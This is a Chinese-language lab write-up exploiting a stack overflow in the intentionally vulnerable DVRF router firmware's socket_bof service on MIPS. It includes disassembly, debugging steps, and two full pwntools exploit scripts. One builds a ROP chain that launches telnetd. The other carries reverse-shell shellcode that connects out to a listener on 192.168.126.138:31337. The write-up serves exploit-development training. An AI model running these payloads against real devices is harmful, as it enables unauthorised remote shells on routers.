保护信息检查
没有开启NX 、PIE等保护
漏洞分析
ida 分析:
# 栈分析
.text:00400930 var_244 = -0x244
.text:00400930 var_242 = -0x242
.text:00400930 var_50 = -0x50 #sprintf 缓冲区
.text:00400930 var_4E = -0x4E
.text:00400930 var_1C = -0x1C
.text:00400930 var_18 = -0x18
.text:00400930 var_16 = -0x16
.text:00400930 var_14 = -0x14
.text:00400930 var_8 = -8
.text:00400930 var_4 = -4 # 保存 ra
.text:00400930 arg_0 = 0
.text:00400930 arg_4 = 4
.text:00400930
.text:00400930 li $gp, 0x489E0
.text:00400938 addu $gp, $t9
.text:0040093C addiu $sp, var_270
.text:00400940 sw $ra, 0x270+var_4($sp)
#漏洞分析
read(fd, 0x270+var_244, 0x1f4) # 可以读取0x1f4字节
.text:00400CE8 lw $gp, 0x270+var_258($fp)
.text:00400CEC addiu $v0, $fp, 0x270+var_244
.text:00400CF0 lw $a0, 0x270+var_24C($fp) # fd
.text:00400CF4 move $a1, $v0 # buf
.text:00400CF8 li $a2, 0x1F4 # nbytes
.text:00400CFC la $t9, read
.text:00400D00 nop
.text:00400D04 jalr $t9 ; read
.text:00400D08 nop
sprintf((char *)&0x270+var_50,"nom nom nom, you sent me %s",&0x270+var_244);
.text:00400D0C lw $gp, 0x270+var_258($fp)
.text:00400D10 addiu $v0, $fp, 0x270+var_50
.text:00400D14 addiu $v1, $fp, 0x270+var_244
.text:00400D18 move $a0, $v0 # s
.text:00400D1C li $v0, 0x400000
.text:00400D20 nop
.text:00400D24 addiu $a1, $v0, (aNomNomNomYouSe - 0x400000) # "nom nom nom, you sent me %s"
.text:00400D28 move $a2, $v1
.text:00400D2C la $t9, sprintf
.text:00400D30 nop
.text:00400D34 jalr $t9 ; sprintf
.text:00400D38 nop
根据栈的情况:
var_50 = -0x50 #sprintf 缓冲区
var_4 = -4 # 保存 ra
read(fd, 0x270+var_244, 0x1f4) # 可以读取0x1f4字节
sprintf((char *)&0x270+var_50,"nom nom nom, you sent me %s",&0x270+var_244);
代码分析可知,没有对var_50 缓冲区进行条件检查,只需要向var_50 位置写入0x50字节便可覆盖 ra
padding = 0x50 - 0x4 = 0x4c
over_ra = 0x4 #覆盖ra
而且 var_244缓冲区可存放 0x1f4 字节,因此sprintf 可造成 var_50 缓冲区溢出,覆盖 ra 等值。
构造rop
1.查找基地址
没有开启 NX 以及 PIE 保护,所以可以通过调试查看 libc_addr。
1.1gdb调试
qemu-mipsel调试
mira@ubuntu:squashfs-root$ qemu-mipsel -g 1234 -L ./ pwnable/ShellCode_Required/socket_bof 8888 #开启新终端,gdb调试 mira@ubuntu:ShellCode_Required$ gdb-multiarch ./socket_bof pwndbg> b *0x00400930 pwndbg> target remote 127.0.0.1:1234
挂载根文件系统,gdbserver 调试
root@debian-mipsel:chandler# mount -o bind /dev/ ./squashfs-root/dev/ root@debian-mipsel:chandler# mount -t proc /proc/ ./squashfs-root/proc/ root@debian-mipsel:chandler# chroot ./squashfs-root sh
查看文件系统中运行的进程:
root@debian-mipsel:chandler# chroot ./squashfs-root sh BusyBox v1.7.2 (2016-03-09 22:33:37 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # ps PID Uid VSZ Stat Command 1 0 2632 S init [2] 2 0 SW [kthreadd] 3 0 SW [ksoftirqd/0] 5 0 SW [kworker/u:0] 6 0 SW [watchdog/0] 7 0 SW< [cpuset] 8 0 SW< [khelper] 9 0 SW [kdevtmpfs] 10 0 SW< [netns] ...... 2295 0 2796 S /sbin/getty 38400 tty6 2296 0 4504 S /bin/login -- 2300 0 5148 S dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/d 2341 0 7660 S /usr/sbin/sshd 2344 0 6084 S -bash 2391 0 SW [kworker/0:0] 2479 0 1844 S sh 2480 0 1748 R ps
gdbserver远程调试,开启监听端口:
# ./lsb_mipsel_gdbserver 10.0.0.2:1234 ./pwnable/ShellCode_Required/socket_bof Process ./pwnable/ShellCode_Required/socket_bof created; pid = 2491 Listening on port 1234
本地 gdb调试:
mira@ubuntu:ShellCode_Required$ gdb-multiarch ./socket_bof pwndbg> b main Breakpoint 1 at 0x400958 pwndbg> target remote 10.0.0.2:1234
本地ssh 连接:
mira@ubuntu:~$ ssh root@10.0.0.2
1.2查看内存映射:
gdb 调试,通过vmmap 查看
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x402000 r-xp 2000 0 /pwnable/ShellCode_Required/socket_bof 0x441000 0x442000 rw-p 1000 1000 /pwnable/ShellCode_Required/socket_bof 0x77ee2000 0x77f1d000 r-xp 3b000 0 /lib/libc.so.0 0x77f1d000 0x77f5d000 ---p 40000 0 0x77f5d000 0x77f5e000 rw-p 1000 3b000 /lib/libc.so.0 0x77f5e000 0x77f62000 rw-p 4000 0 0x77f62000 0x77f72000 r-xp 10000 0 /lib/libgcc_s.so.1 0x77f72000 0x77fb1000 ---p 3f000 0 0x77fb1000 0x77fb2000 rw-p 1000 f000 /lib/libgcc_s.so.1 0x77fb2000 0x77fb7000 r-xp 5000 0 /lib/ld-uClibc.so.0 0x77ff5000 0x77ff6000 rw-p 1000 0 0x77ff6000 0x77ff7000 r--p 1000 4000 /lib/ld-uClibc.so.0 0x77ff7000 0x77ff8000 rw-p 1000 5000 /lib/ld-uClibc.so.0 0x7fdf2000 0x7fff7000 rwxp 205000 0 [stack] 0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]
可知基地址libc.so.0: libc_addr = 0x77ee2000
通过socket_bof 进程
执行 socket_bof 程序:# ./socket_bof 444
查看 socket_bof 进程号
# ps PID Uid VSZ Stat Command 1 0 2632 S init [2] 2 0 SW [kthreadd] 3 0 SW [ksoftirqd/0] 5 0 SW [kworker/u:0] ... 2572 0 1856 S sh 2643 0 SW [kworker/0:1] 2674 0 SW [flush-8:0] 2781 0 1016 S ./socket_bof 444 2782 0 1748 R ps
查看socket_bof 进程内存映射:cat /proc/2781/maps
00400000-00402000 r-xp 00000000 08:01 789317 /pwnable/ShellCode_Required/socket_bof 00441000-00442000 rw-p 00001000 08:01 789317 /pwnable/ShellCode_Required/socket_bof 77a78000-77ab3000 r-xp 00000000 08:01 790564 /lib/libc.so.0 77ab3000-77af3000 ---p 00000000 00:00 0 77af3000-77af4000 rw-p 0003b000 08:01 790564 /lib/libc.so.0 77af4000-77af8000 rw-p 00000000 00:00 0 77af8000-77b08000 r-xp 00000000 08:01 790526 /lib/libgcc_s.so.1 77b08000-77b47000 ---p 00000000 00:00 0 77b47000-77b48000 rw-p 0000f000 08:01 790526 /lib/libgcc_s.so.1 77b48000-77b4d000 r-xp 00000000 08:01 790569 /lib/ld-uClibc.so.0 77b8b000-77b8c000 rw-p 00000000 00:00 0 77b8c000-77b8d000 r--p 00004000 08:01 790569 /lib/ld-uClibc.so.0 77b8d000-77b8e000 rw-p 00005000 08:01 790569 /lib/ld-uClibc.so.0 7fc77000-7fc98000 rwxp 00000000 00:00 0 [stack] 7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
可知基地址libc.so.0: libc_addr = 0x77a78000
2. 写poc,开启 telnet 服务
poc.py
#conding=utf-8 from pwn import * import sys context.endian = 'little' context.arch = 'mips' libc_addr = 0x77a78000 rop_1 = 0xAFE0 rop_2 = 0x2FB10 rop_3 = 0x21C34 sleep_addr = 0x2F2B0 system_addr = 0x0002BFD0 # contorl $s1 info = "nom nom nom, you sent me " print "info length: " + str(len(info)) payload = 'a' *(0x4c - len(info)) payload += p32(libc_addr+rop_1) #jr $ra payload += 'b' * 0x18 # padding payload += 'a'*4 # s0 payload += p32(libc_addr+rop_3) # s1 payload += 'a'*4 # s2 payload += p32(libc_addr+sleep_addr) # s3 payload += 'a'*4 # s4 payload += 'a'*4 # s5 payload += 'a'*4 # s6 payload += 'a'*4 # s7 payload += 'a'*4 # fp payload += p32(libc_addr+rop_2) # ra # rop_3 = 0x21C34 rop_5 = 0x171cc #li a0 sp+0x18 # sleep(1) ''' rop_2 .text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 #s1: rop_3 .text:0002FB18 jalr $t9 ; .text:0002FB1C ori $a1, $s0, 2 rop_3: .text:00021C34 move $t9, $s3 #s3: sleep_addr .text:00021C38 lw $ra, 0x2C($sp) .text:00021C3C lw $s4, 0x28($sp) .text:00021C40 lw $s3, 0x24($sp) .text:00021C44 lw $s2, 0x20($sp) .text:00021C48 lw $s1, 0x1C($sp) .text:00021C4C lw $s0, 0x18($sp) .text:00021C50 jr $t9 .text:00021C54 addiu $sp, 0x30 ''' #payload += 'c' * (0x2C-4*2) payload += 'c' * 0x18 payload += 'd' *4 #s0 payload += 'd' *4 #s1 payload += 'd' *4 #s2 ''' 0002BFD0 system ''' payload += p32(libc_addr+system_addr) payload += 'd' *4 #s4 payload += p32(libc_addr+rop_5) #ra ''' rop_5 = 0x171cc li a0 sp+0x18 ''' payload += 'd' * 0x18 payload +="telnetd\x00" r= remote("10.0.0.2",444) r.recvuntil("Send Me Bytes:") r.sendline(payload) r.interactive()
执行 poc.py 之前,无telnet 服务:
mira@ubuntu:_DVRF_v03.bin.extracted$ nmap 10.0.0.2 Starting Nmap 7.01 ( https://nmap.org ) at 2020-03-04 04:54 PST Nmap scan report for 10.0.0.2 Host is up (0.0024s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 444/tcp open snpp Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
执行 poc.py:
mira@ubuntu:_DVRF_v03.bin.extracted$ python poc_sys_telnet.py info length: 25 [+] Opening connection to 10.0.0.2 on port 444: Done [*] Switching to interactive mode nom nom nom, you sent me aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�/�wbbbbbbbbbbbbbbbbbbbbbbbbaaaa4\x9c\xa9waaaa\xb0r\xaawaaaaaaaaaaaaaaaaaaaa\x10\xaawccccccccccccccccccccccccdddddddddddd�?\xaawdddd��\xa8wddddddddddddddddddddddddtelnetd[*] Got EOF while reading in interactive $ $ [*] Closed connection to 10.0.0.2 port 444 [*] Got EOF while sending in interactive
执行 poc 之后,telnet服务开启
mira@ubuntu:_DVRF_v03.bin.extracted$ nmap 10.0.0.2 Starting Nmap 7.01 ( https://nmap.org ) at 2020-03-04 04:54 PST Nmap scan report for 10.0.0.2 Host is up (0.18s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 23/tcp open telnet 111/tcp open rpcbind Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
连接telnet 端口:
mira@ubuntu:_DVRF_v03.bin.extracted$ nc -nv 10.0.0.2 23 Connection to 10.0.0.2 23 port [tcp/*] succeeded!
至此,telnet 服务成功开启,漏洞利用成功。
反弹shell
poc_fantanshell.py
#conding=utf-8 from pwn import * import sys context.endian = 'little' context.arch = 'mips' # export PATH=$PATH:/home/mira/tools/buildroot-2019.02.4/output/host/usr/bin # mipel-debian libc_addr = 0x7675f000 rop_1 = 0xAFE0 rop_2 = 0x2FB10 rop_3 = 0x21C34 sleep_addr = 0x2F2B0 #system_addr = 0x0002BFD0 # contorl $s1 info = "nom nom nom, you sent me " print "info length: " + str(len(info)) payload = 'a' *(0x4c - len(info)) payload += p32(libc_addr+rop_1) #jr $ra payload += 'b' * 0x18 # padding payload += 'a'*4 # s0 payload += p32(libc_addr+rop_3) # s1 payload += 'a'*4 # s2 payload += p32(libc_addr+sleep_addr) # s3 payload += 'a'*4 # s4 payload += 'a'*4 # s5 payload += 'a'*4 # s6 payload += 'a'*4 # s7 payload += 'a'*4 # fp payload += p32(libc_addr+rop_2) # ra # rop_3 = 0x21C34 rop_5 = 0x171cc #li a0 sp+0x18 rop_6 = 0x214a0 #jr a0 # sleep(1) ''' rop_2 .text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 #s1: rop_3 .text:0002FB18 jalr $t9 ; .text:0002FB1C ori $a1, $s0, 2 rop_3: .text:00021C34 move $t9, $s3 #s3: sleep_addr .text:00021C38 lw $ra, 0x2C($sp) .text:00021C3C lw $s4, 0x28($sp) .text:00021C40 lw $s3, 0x24($sp) .text:00021C44 lw $s2, 0x20($sp) .text:00021C48 lw $s1, 0x1C($sp) .text:00021C4C lw $s0, 0x18($sp) .text:00021C50 jr $t9 .text:00021C54 addiu $sp, 0x30 ''' #payload += 'c' * (0x2C-4*2) payload += 'c' * 0x18 payload += 'd' *4 #s0 payload += 'd' *4 #s1 payload += 'd' *4 #s2 ''' 0002BFD0 system ''' #payload += p32(libc_addr+system_addr) payload += p32(libc_addr+rop_6) payload += 'd' *4 #s4 payload += p32(libc_addr+rop_5) #ra ''' rop_5 = 0x171cc li a0 sp+0x18 ''' # shellcode 192.168.126.138 31337 # nc -lvp 31337 stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" #192.168.126.138 \x7e\x8a stg3_SC += "\xf8\xff\xa5\xaf\x7e\x8a\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01" payload += 'd' * 0x18 payload += stg3_SC r= remote("192.168.126.138",8888) r.recvuntil("Send Me Bytes:") r.sendline(payload) r.interactive()
模拟运行,开启 1234 调试端口
mira@ubuntu:squashfs-root$ qemu-mipsel -g 1234 -L ./ ./pwnable/ShellCode_Required/socket_bof 8888
gdb调试,远程连接
mira@ubuntu:_DVRF_v03.bin.extracted$ gdb-multiarch ./squashfs-root/pwnable/ShellCode_Required/socket_bof pwndbg> b main Breakpoint 1 at 0x400958 pwndbg> target remote 127.0.0.1:1234
查看基地址 vmmap,然后 c 命令,继续执行,等待8888端口被绑定、监听
此时已经绑定 8888端口监听 31337 端口
-nc -lvp 31337
-执行反弹shell 脚本mira@ubuntu:_DVRF_v03.bin.extracted$ python ./poc_fantanshell.py
此时31337端口被连接,信息如下:
反弹shell ,执行成功
注意事项
使用 qemu-mipsel 本地模拟调试执行有诸多问题,poc 很难执行成功:
mira@ubuntu:squashfs-root$ qemu-mipsel -g 1234 -L ./ ./pwnable/ShellCode_Required/socket_bof 8888
尽量通过 debian-mipsel 系统,挂载根文件系统的形式,执行poc
上述开启 telnet 服务,就是通过此方法
通过栈溢出漏洞,成功执行了shellcode: 开启 telnetd 服务以及 反弹shell,着重调试、ROP构造以及漏洞利用及验证方法。